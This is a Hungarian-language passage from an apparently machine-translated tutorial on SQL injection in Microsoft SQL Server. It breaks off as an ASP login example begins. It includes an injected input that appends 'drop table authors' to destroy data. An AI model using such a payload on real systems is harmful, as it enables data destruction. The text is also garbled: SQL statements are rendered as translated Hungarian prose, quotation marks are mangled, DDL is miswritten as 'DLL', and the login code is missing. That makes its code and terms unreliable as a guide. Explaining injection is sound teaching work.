A Structured Query Language (SQL) egy strukturált nyelv, amelyet az adatbázisokkal való interakcióra használnak. Az SQL nyelvnek számos „dialektusa” létezik, de manapság a legtöbbjük az SQL-92 szabványon, az egyik legkorábbi ANSI szabványon alapul. Az SQL fő működési blokkja egy lekérdezés, amely olyan kifejezések gyűjteménye, amelyek általában egy eredményhalmazt adnak vissza. Az SQL-kifejezések módosíthatják az adatbázisok szerkezetét (Data Definition Language (DLL) kifejezések használatával), és módosíthatják azok tartalmát (Data Manipulation Language (DML) kifejezések használatával). Ebben a cikkben a Microsoft SQL Serverben használt transact-SQL-t fogjuk megvizsgálni.

Az SQL-befecskendezés akkor lehetséges, ha a támadó beillesztheti saját SQL-jét egy lekérdezésbe, hogy manipulálja az alkalmazásnak küldött adatokat.

Egy tipikus SQL utasítás így néz ki:

Válassza ki a szerzők azonosítóját, utónevét, vezetéknevét

Ez a kifejezés a "szerzők" tábla oszlopaiból veszi az "id", "utónév" és "vezetéknév" értéket, és visszaadja a táblázat összes sorát. A kiválasztást egy bizonyos "szerző" korlátozhatja, például:

Válassza ki az azonosítót, utónevet, vezetéknevet olyan szerzők közül, ahol utónév = "john" és vezetéknév = "kovács"

Meg kell jegyezni, hogy ebben a lekérdezésben a karakterlánc-literálokat egyetlen idézőjel választja el. Feltételezzük, hogy az "utónév" és a "vezetéknév" a felhasználói bevitel. Ebben az esetben a támadó be tudja írni saját SQL-lekérdezését úgy, hogy saját értékeit adja hozzá az alkalmazáshoz. Például:

Keresztnév: jo "hn Vezetéknév: kovács

Ekkor a kifejezés a következő formában jelenik meg:

Válassza ki az azonosítót, utónevet, vezetéknevet olyan szerzők közül, ahol az utónév = "jo" hn "és a vezetéknév =" kovács "

Miután az adatbázis megpróbálja feldolgozni az ilyen kérést, a következő hibaüzenet jelenik meg:

Szerver: 170. üzenet, 15. szint, 1. állapot, 1. sor 1. sor: hibás szintaxis a "hn" közelében.

A hiba oka az lesz, hogy a beírt egyetlen idézőjel elrontja a lekérdezésben szereplő határolók szerkezetét. Így az adatbázis sikertelenül próbálja meg végrehajtani a "hn" parancsot, ami hibát eredményez. Ennek eredményeként, ha a támadó a következő információkat írja be az űrlapon:

Keresztnév: jo "; drop table authors-- Vezetéknév:

A "szerzők" táblázat kimarad, így később megnézzük, miért.

Azt gondolhatja, hogy ha eltávolítjuk az idézőjeleket a beviteli űrlapból, és "kicseréljük" azokat, az megoldhatja a problémánkat. És igaza lesz, azonban van néhány probléma, ha ezt a módszert használja a probléma megoldásaként. Először is, nem minden felhasználói bevitel "karakterlánc". Ahol az egyéni űrlap tartalmazza a szerző „azonosítóját”, ami általában egy szám. A kérésünk például így nézhet ki:

Válassza ki az azonosítót, utónevet, vezetéknevet a szerzők közül, ahol id = 1234

Ebben az esetben a támadó könnyedén hozzáadhat bármilyen SQL-utasítást a numerikus adatok után. Az SQL-lekérdezések más változataiban különböző elválasztójeleket használnak. Például a Microsoft Jet DBMS rendszerben a határoló jel "#". Másodszor, az idézetektől való „megszökés” semmiképpen sem a legegyszerűbb módja annak, hogy megvédje magát, ahogyan elsőre tűnhet. Erről a későbbiekben részletesebben szólunk.

Íme egy példa, amely egy Active Server Pages (ASP) bejelentkezési oldalon alapul, amely SQL-t használ az adatbázis eléréséhez, hogy engedélyezze a felhasználót egy alkalmazásban.

Itt található a bejelentkezési űrlapot tartalmazó oldal kódja, amelybe be kell írni a felhasználónevet és a jelszót.

Bejelentkezési oldal

Belépés

Felhasználónév:
Jelszó:

Alul látható a kód (process_login.asp), amely meghatározza a bevitt adatok helyességét.